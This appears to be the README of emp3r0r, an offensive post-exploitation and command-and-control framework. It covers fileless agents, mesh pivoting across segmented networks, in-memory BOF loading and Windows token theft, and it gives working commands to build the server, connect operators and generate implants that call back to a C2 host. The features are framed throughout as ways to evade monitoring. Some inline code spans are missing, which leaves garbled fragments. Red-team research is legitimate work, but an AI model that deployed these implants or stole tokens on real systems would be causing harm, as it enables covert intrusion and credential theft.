
Self‑healing Gossip Mesh C2 with Assisted Peer Discovery, Cross-Platform BOF Execution, and Scriptable Agents.
Self‑healing Gossip Mesh C2 with Assisted Peer Discovery, Cross-Platform BOF Execution, and Scriptable Agents.
emp3r0r is an advanced, zero-trust post-exploitation framework and command & control (C2) system designed for Linux and Windows target environments. Built from the ground up to operate in high-security environments, emp3r0r combines autonomous gossip mesh networking, fileless memory-only execution, cross-platform BOF loading, inter-agent file transfer, and in-memory scriptable agents to deliver superior stealth, operational control, and operational security (OPSEC).
emp3r0r agents feature an embedded Starlark scripting engine (a Python dialect implemented purely in Go). Scripts execute filelessly in memory without requiring Python, Bash, or PowerShell installed on the target.
/bin/sh, powershell.exe) or relying on installed runtimes.read_file, write_file, list_dir, mkdir, remove, exists), HTTP networking (http_get, http_post), command execution (exec_cmd), and hashing (crypto_hash).win_call, , , ) directly from script code without compiling native C code.Why this matters: Traditional C2 script modules require host interpreters or process spawning, leaving heavy disk or command-line execution traces. emp3r0r's scriptable agents execute complex logic entirely in memory with native system interaction.
emp3r0r enforces Trust-On-First-Use (TOFU) with strict UUID and public-key pinning upon agent enrollment.
forget_agent.Why this matters: Prevents session hijacking, agent cloning, and silent identity drift across operational environments.
All C2 and peer communications enforce ECDH key exchange with HKDF-derived session keys.
Why this matters: Prevents retrospective decryption of intercepted network captures.
Agents in egress-restricted or isolated network segments autonomously discover peers and tunnel traffic via a gossip-based (Memberlist) mesh network.
Why this matters: Pivoting across segmented networks occurs autonomously without requiring constant operator intervention or static proxy setups.
Direct agent-to-agent file sharing via P2P relay transport (mTLS/KCP) to accelerate file delivery across internal networks.
Why this matters: Direct agent-to-agent file sharing maximizes transfer speeds, bypasses network chokepoints, and reduces direct C2 traffic visibility.
Flexible Stage 0 downloader stagers and protocol listeners for initial access and payload delivery.
.bin), standalone ELF executables, or shared objects (.so).Execute in-memory binary modules on both Windows and Linux targets:
int, short, cstr, wstr, binary)..o) directly into agent memory on Linux.Why this matters: Eliminates process creation overhead and circumvents command-line monitoring by running compiled C modules in-process.
Agents on Windows can steal, cache, and impersonate access tokens from running processes — entirely in-process using indirect NT syscalls.
steal_token --pid <PID> duplicates a process token via NtOpenProcess + NtDuplicateToken and stores it in memory by SID. Optionally chain impersonation with --token <sid> to escalate from one stolen identity to another.list_tokens displays all cached tokens with DOMAIN\User (SID) names.--token <sid>) in any module — Go, Starlark, COFF/BOF. Thread-level impersonation (NtSetInformationThread) is applied around sensitive operations.read_file, write_file, exec_cmd, Win32 API proxy, etc.) automatically impersonate per-syscall when a token is set, and exec_cmd can spawn child processes under the stolen identity via .Why this matters: No external tools, no disk artifacts, no process-creation noise. Token theft and reuse happen entirely in-process using indirect syscalls, with stolen tokens immediately consumable by every built-in module.
http_poll) with malleable HTTP profiles and streaming (h2conn) over HTTP/2.Building emp3r0r requires Docker or Podman on the host. No local Go toolchain is required.
# Clone repository
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# Build inside a container and install locally
./install.sh
The installer compiles the core binaries inside a throwaway container, generates the precompiled emp3r0r-operator-kit.tar.zst, configures required Linux capabilities (setcap), and sets up system runtime directories.
Options:
./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]
Launch the C2 server:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
Note: If installed with root user instead of standard sudo, your current user might not be able to launch emp3r0r as permissions can't be properly set by the installer. The same applies to your operator machines as well.
Transfer the generated emp3r0r-operator-kit.tar.zst to your operator machine and run the installer:
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh
Connect the operator client to the C2 server using the WireGuard tunnel credentials printed by the server:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
Use the generate command within the emp3r0r operator interface to create payloads.
Direct C2 Agent:
generate --type linux_executable --arch amd64 --cc your.domain.com
Mesh Gateway Agent:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
Mesh Intermediate Peer:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
If emp3r0r has proven valuable in your security research and testing, consider supporting its continued development via GitHub Sponsors.
win_allocwin_freewin_read_memconfig.json) for seamless CLI parameter parsing and distribution.CreateProcessWithTokenW